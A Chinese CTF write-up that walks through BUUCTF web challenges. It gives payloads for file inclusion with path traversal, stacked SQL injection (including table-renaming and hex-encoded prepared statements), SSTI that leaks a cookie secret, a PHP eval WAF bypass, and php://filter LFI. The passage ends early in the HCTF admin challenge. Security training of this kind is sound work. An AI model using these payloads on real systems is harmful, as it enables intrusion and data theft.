百道CTF刷題記錄(二)之BUUCTF
前言
最近好久沒刷CTF題了,其實BUUCTF這個平臺我也是最開始的使用者之一(uid前20,懶狗石錘了...),可是一直沒有時間能夠好好的刷題,今兒總算時間充裕,打算花些時日,記錄下自己在BUU刷題的經驗。
刷題之旅
[HCTF 2018]WarmUp
開啟題目頁面,習慣性右鍵檢視HTML原始碼:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>Document</title> </head> <body> <!--source.php--> <br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body> </html>
得提示:source.php,訪問之~得到原始碼:
<?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; // 判斷引數是否存在 if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; } // 白名單判斷 if (in_array($page, $whitelist)) { return true; } // 字串切割,擷取?之前的字串,若無則不擷取 $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') //末尾新增?防止未找到報錯 ); // 白名單判斷 if (in_array($_page, $whitelist)) { return true; } // Url解碼 $_page = urldecode($page); // 再次切割 $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); // 白名單判斷 if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; } ?>
訪問source.php?file=hint.php
得到提示:flag not here, and flag in ffffllllaaaagggg
本題難點就是得想到如何利用字串切割繞開白名單判斷且能任何檔案包含,其實也很簡單:source.php?file=hint.php?/../任意檔案
即可。
EXP: source.php?file=hint.php?/../../../../ffffllllaaaagggg
[強網杯 2019]隨便注
注入題,老規矩,先來個單引號試試:
嘗試老套路拼接union select
之後發現被攔截了,攔截程式碼:
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
發現select
被禁止了,這種情況下,通常的注入方法,如盲注
、報錯注入
等都在這不好使了。
直接說解法吧,這裡是堆疊注入
。
爆庫:1';show databases;#
array(1) {
[0]=>
string(11) "ctftraining"
}
array(1) {
[0]=>
string(18) "information_schema"
}
array(1) {
[0]=>
string(5) "mysql"
}
array(1) {
[0]=>
string(18) "performance_schema"
}
array(1) {
[0]=>
string(9) "supersqli"
}
array(1) {
[0]=>
string(4) "test"
}
爆表(當前資料庫):1';show tables;#
array(1) {
[0]=>
string(16) "1919810931114514"
}
array(1) {
[0]=>
string(5) "words"
}
words表應該就是測試資料,也就是該條語句的from接的應該就是words,那麼flag應該在1919810931114514表中了。
而select
關鍵字被攔截掉了,如何才能讀取資料呢
解法一:handler
EXP:
1';handler `1919810931114514` open as `yunenctf`;handler `yunenctf` read first;#
# handler `1919810931114514` open as `yunenctf`; 將資料表載入並將返回控制代碼重新命名
# handler `yunenctf` read first; 讀取指定控制代碼的首行資料
解法二:重新命名rename
此方法有一定的危險性,若操作失敗極容易損壞環境,請在公共靶機操作時注意檢視payload。
首先檢視words表下的欄位資訊:1'; show columns from words;#
array(6) {
[0]=>
string(2) "id"
[1]=>
string(7) "int(10)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
array(6) {
[0]=>
string(4) "data"
[1]=>
string(11) "varchar(20)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
共有兩欄位,分別是id與data欄位;
檢視1919810931114514表的欄位資訊:
array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
只有一個flag欄位
EXP:
1'; rename table words to word1; rename table `1919810931114514` to words; alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#
- rename table words to word1; 將words表重新命名為word1
- rename table `1919810931114514` to words; 將 1919810931114514 重新命名為words
- alter table words add id int unsigned not Null auto_increment primary key; 為words表新增id欄位並作為主鍵
- alter table words change flag data varchar(100); 將words表的flag欄位更名為data
解法三:預編譯prepare
由於select
被攔截,故我們可以選擇將select * from `1919810931114514`
給轉成16進位制並存放到變數中,接著進行預編譯處理並執行。
EXP:
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
[SUCTF 2019]EasySQL
這題有點考腦洞的感覺,關鍵是你得猜出來他的SQL語句是怎麼個拼接法。
select $_REQUEST['query']||flag from Flag
怎麼猜呢?
- 首先我們發現本題無報錯資訊,且任意非數字開頭的輸入均無返回。
- 其次嘗試
1;show tables;#
等payload發現可以返回,堆疊注入存在,但是測試發現from、表名Flag、0x、handler被攔截,看來本題不想讓我們能簡單地以堆疊注入通過。 - 嘗試輸入
1,2,3,4
,發現返回內容為Array ( [0] => 1 [1] => 2 [2] => 3 [3] => 1 )
,可判斷出注入位置。 - 嘗試輸入
1,2,3,0
,發現返回內容為Array ( [0] => 1 [1] => 2 [2] => 3 [3] => 0 )
,可以判斷最後的0應該是被拼接上了||
或字元。
解法一:*
通過堆疊注入的show tables
可以知道,當前執行命令的表即為唯一的Flag表,故flag資訊應該也在該表裡邊。輸入*,1
即可返回該表的所有欄位資料。
EXP:*,1
解法二:pipes_as_concat
據說此解才是預期解orz,set sql_mode=pipes_as_concat;
的作用為將||
的作用由or變為拼接字串。
通過將||
符號的含義改變成拼接字串即可帶出flag的值(如果是||其他東西就不行了)。
EXP:1;set sql_mode=pipes_as_concat;select 1
[極客大挑戰 2019]EasySQL
cl4y師傅寫的題,出的還算簡單,開啟題目就亮瞎了我的狗眼,不愧是羽哥哥。
其實這個頁面沒啥用,真正功能在check.php。隨便輸入一個數據:check.php?username=1&password=1
,提示使用者名稱與密碼錯誤。
老規矩,單雙引號與反斜槓走起,嘗試單引號時就報錯了。
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1'' at line 1
通常的登入判斷實現有兩種方法:
- 在where語句後拼接username與password,判斷是否返回資料的條數,若為0即賬號密碼錯誤。
- 先獲取資料庫中對於username的密碼,再與password引數做比較。
而這裡是第一種判斷方法,可以通過嘗試在username和password單獨加單引號,發現都會返回報錯資訊可以猜測出。
搞懂了這點這題就很簡單了,EXP:
check.php?username=1%27%201%3d1%23&password=2
[護網杯 2018]easy_tornado
一看到tornado經常刷題的師傅(老賽棍)就知道了,SSTI必不可少。
開啟題目首頁映入眼簾的三個跳轉連結:
/flag.txt
/welcome.txt
/hints.txt
分別開啟得到:
- flag in /fllllllllllllag
- render
- md5(cookie_secret+md5(filename))
觀察URL可以發現:file?filename=/hints.txt&filehash=b40f21b84d8adb13a98b455421e19522
很明顯,我們只需要找到cookie_secret就可以讀取fllllllllllllag檔案獲得flag,而這需要通過SSTI獲得。
SSTI模板注入位置:error?msg=Error
,報錯頁面。報錯頁面存在SSTI也是常考點了
老規矩嘗試{{7*7}},發現被攔截了,返回ORZ
,把\*
去掉後確實能返回77,說明的確存在SSTI。
經過嘗試,發現攔截了_,(),[]
等,命令執行的路算被堵死了。
這裡的考點就是tornado的handler.settings物件
在tornado中
handler 物件 是指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所以所有handler.settings就指向RequestHandler.application.settings了!
而在模板中,handler是可用的,故訪問:error?msg={{handler.settings}}
,記得得到cookie_secret。
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'e23c0c77-a56a-444d-a44b-e74ee6ce5ba5'}
所以/fllllllllllllag對應的hash就為md5(cookie_secret+md5('/fllllllllllllag')),即:c4a22e606c667e494b34c926adbc0a42
。
EXP:
file?filename=/fllllllllllllag&filehash=c4a22e606c667e494b34c926adbc0a42 #此處由於cookie_secret不同需要自己走一遍流程
[極客大挑戰 2019]Havefun
簽到題,無考點。
EXP:/?cat=dog
[RoarCTF 2019]Easy Calc
開啟題目,郵件檢視HTML原始碼,發現:
<!--I've set up WAF to ensure security.-->
<script>
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("這啥?算不來!");
}
})
return false;
})
</script>
訪問calc.php,得到如下原始碼:
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
可以看到,這是個命令執行題,如何繞過黑名單執行命令是本題的考點。
經過嘗試後發現,當num引數傳入字母時便會被WAF攔截。這裡有兩種方法來繞過:
法一:PHP黑魔法%20num
PHP在接受請求引數時會忽略開頭的空格,也就是說?%20%20num=a
相當於$_GET['num']=a
的效果。
WAF判斷的引數僅是num,而對於%20num他是不做攔截的。
法二:HTTP走私攻擊
這也是WAF繞過的老法子之一了,用在這裡也是正常的操作。
而對於單雙引號被過濾的情況如何表示字串,由於PHP的靈活性有挺多的法子,這裡列舉兩個:
- 一是利用chr()等轉換函式,將ascii碼轉成單個字串在用
.
拼接。 - 二是利用
~
取反等符號,如~%9e
就代表字串a
。
EXP:
calc.php?%20num=var_dump(scandir(~%d0)) // 列出根目錄下的全部檔名
calc.php?%20num=highlight_file(~%D0%99%CE%9E%98%98) // 讀flag檔案
[極客大挑戰 2019]Secret
開啟題目,啥資訊都沒有,不清楚考點。老規矩,先檢視返回頭、HTML原始碼,若無結果再開掃描器。
在HTML原始碼處發現提示:
<a id="master" href="./Archive_room.php" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a>
開啟/Archive_room.php
檔案,得:
點選之後發現被跳轉到了end.php
,易知action.php
返回了跳轉資訊。開啟Burpsuite抓取資料包重放得到:
訪問之,得PHP原始碼一份:
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
// 簡單防攪屎措施
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php裡
?>
</html>
很容易就知道此處的考點應該是LFI讀檔案,EXP:
secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
得到Base64編碼過的flag.php原始碼,解密之即可得flag。
[HCTF 2018]admin
這題出的是真的不錯,學到了很多東西,多刷好題還是有用的。
開啟題目,在首頁的HTML原始碼處發現註釋:
<!-- you are not admin -->
猜測獲取flag需要登入admin賬戶,我們先註冊隨便一個賬號登入進去看看。
在change_password功能頁的HTML原始碼中發現註釋:
<!-- https://github.com/woadsl1234/hctf_flask/ -->
這裡貼一下主要原始碼:
#!/usr/bin/env python
# -*- coding:utf-8 -*-
from flask import Flask, render_template, url_for, flash, request, redirect, session, make_response
from flask_login import logout_user, LoginManager, current_user, login_user
from app import app, db
from config import Config
from app.models import User
from forms import RegisterForm, LoginForm, NewpasswordForm
from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
from io import BytesIO
from code import get_verify_code
@app.route('/code')
def get_code():
image, code = get_verify_code()
# 圖片以二進位制形式寫入
buf = BytesIO()
image.save(buf, 'jpeg')
buf_str = buf.getvalue()
# 把buf_str作為response返回前端,並設定首部欄位
response = make_response(buf_str)
response.headers['Content-Type'] = 'image/gif'
# 將驗證碼字串儲存在session中
session['image'] = code
return response
@app.route('/')
@app.route('/index')
def index():
return render_template('index.html', title = 'hctf')
@app.route('/register', methods = ['GET', 'POST'])
def register():
if current_user.is_authenticated:
return redirect(url_for('index'))
form = RegisterForm()
if request.method == 'POST':
name = strlower(form.username.data)
if session.get('image').lower() != form.verify_code.data.lower():
flash('Wrong verify code.')
return render_template('register.html', title = 'register', form=form)
if User.query.filter_by(username = name).first():
flash('The username has been registered')
return redirect(url_for('register'))
user = User(username=name)
user.set_password(form.password.data)
db.session.add(user)
db.session.commit()
flash('register successful')
return redirect(url_for('login'))
return render_template('register.html', title = 'register', form = form)
@app.route('/login', methods = ['GET', 'POST'])
def login():
if current_user.is_authenticated:
return redirect(url_for('index'))
form = LoginForm()
if request.method == 'POST':
name = strlower(form.username.data)
session['name'] = name
user = User.query.filter_by(username=name).first()
if user is None or not user.check_password(form.password.data):
flash('Invalid username or password')
return redirect(url_for('login'))
login_user(user, remember=form.remember_me.data)
return redirect(url_for('index'))
return render_template('login.html', title = 'login', form = form)
@app.route('/logout')
def logout():
logout_user()
return redirect('/index')
@app.route('/change', methods = ['GET', 'POST'])
def change():
if not current_user.is_authenticated:
return redirect(url_for('login'))
form = NewpasswordForm()
if request.method == 'POST':
name = strlower(session['name'])
user = User.query.filter_by(username=name).first()
user.set_password(form.newpassword.data)
db.session.commit()
flash('change successful')
return redirect(url_for('index'))
return render_template('change.html', title = 'change', form = form)
@app.route('/edit', methods = ['GET', 'POST'])
def edit():
if request.method == 'POST':
flash('post successful')
return redirect(url_for('index'))
return render_template('edit.html', title = 'edit')
@app.errorhandler(404)
def page_not_found(error):
title = unicode(error)
message = error.description
return render_template('errors.html', title=title, message=message)
def strlower(username):
username = nodeprep.prepare(username)
return username
解法一:條件競爭[未復現成功]
此解法感覺是錯誤的,不過看飄零師傅的WP有詳細描述,我這邊復現沒成功,若有了解的師傅歡迎找我討論